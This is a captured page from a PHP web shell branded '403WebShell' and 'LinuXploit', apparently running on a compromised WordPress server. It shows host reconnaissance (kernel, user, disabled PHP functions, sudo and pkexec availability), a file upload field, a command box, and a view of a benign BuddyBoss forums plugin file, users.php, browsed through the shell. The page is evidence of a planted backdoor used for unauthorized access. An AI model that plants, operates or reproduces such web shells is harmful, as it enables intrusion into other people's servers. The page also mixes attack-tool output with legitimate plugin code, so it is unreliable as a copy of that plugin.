Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.216.214
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/buddyboss-platform/bp-forums/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/buddyboss-platform/bp-forums/admin/users.php
<?php

/**
 * Forums Users Admin Class
 *
 * @package BuddyBoss\Administration
 * @since bbPress (r2464)
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Users_Admin' ) ) :
	/**
	 * Loads Forums users admin area
	 *
	 * @since bbPress (r2464)
	 */
	class BBP_Users_Admin {

		/**
		 * The Forums users admin loader
		 *
		 * @since bbPress (r2515)
		 *
		 * @uses BBP_Users_Admin::setup_globals() Setup the globals needed
		 * @uses BBP_Users_Admin::setup_actions() Setup the hooks and actions
		 */
		public function __construct() {
			$this->setup_actions();
		}

		/**
		 * Setup the admin hooks, actions and filters
		 *
		 * @since bbPress (r2646)
		 * @access private
		 *
		 * @uses add_action() To add various actions
		 */
		function setup_actions() {

			// Bail if in network admin
			if ( is_network_admin() ) {
				return;
			}

			// Remove bbp secondary role
			add_filter( 'get_role_list', array( $this, 'remove_forum_roles' ), 15, 2 );
		}

		/**
		 * Remove bbPress's dynamic roles from user role list
		 *
		 * @since BuddyBoss 1.0.0
		 */
		public function remove_forum_roles( $role_list, $user_object ) {
			$bbp_roles = array_map( '__return_zero', bbp_get_dynamic_roles() );

			return array_diff_key( $role_list, $bbp_roles );
		}
	}
	new BBP_Users_Admin();
endif; // class exists

Youez - 2016 - github.com/yon3zu
LinuXploit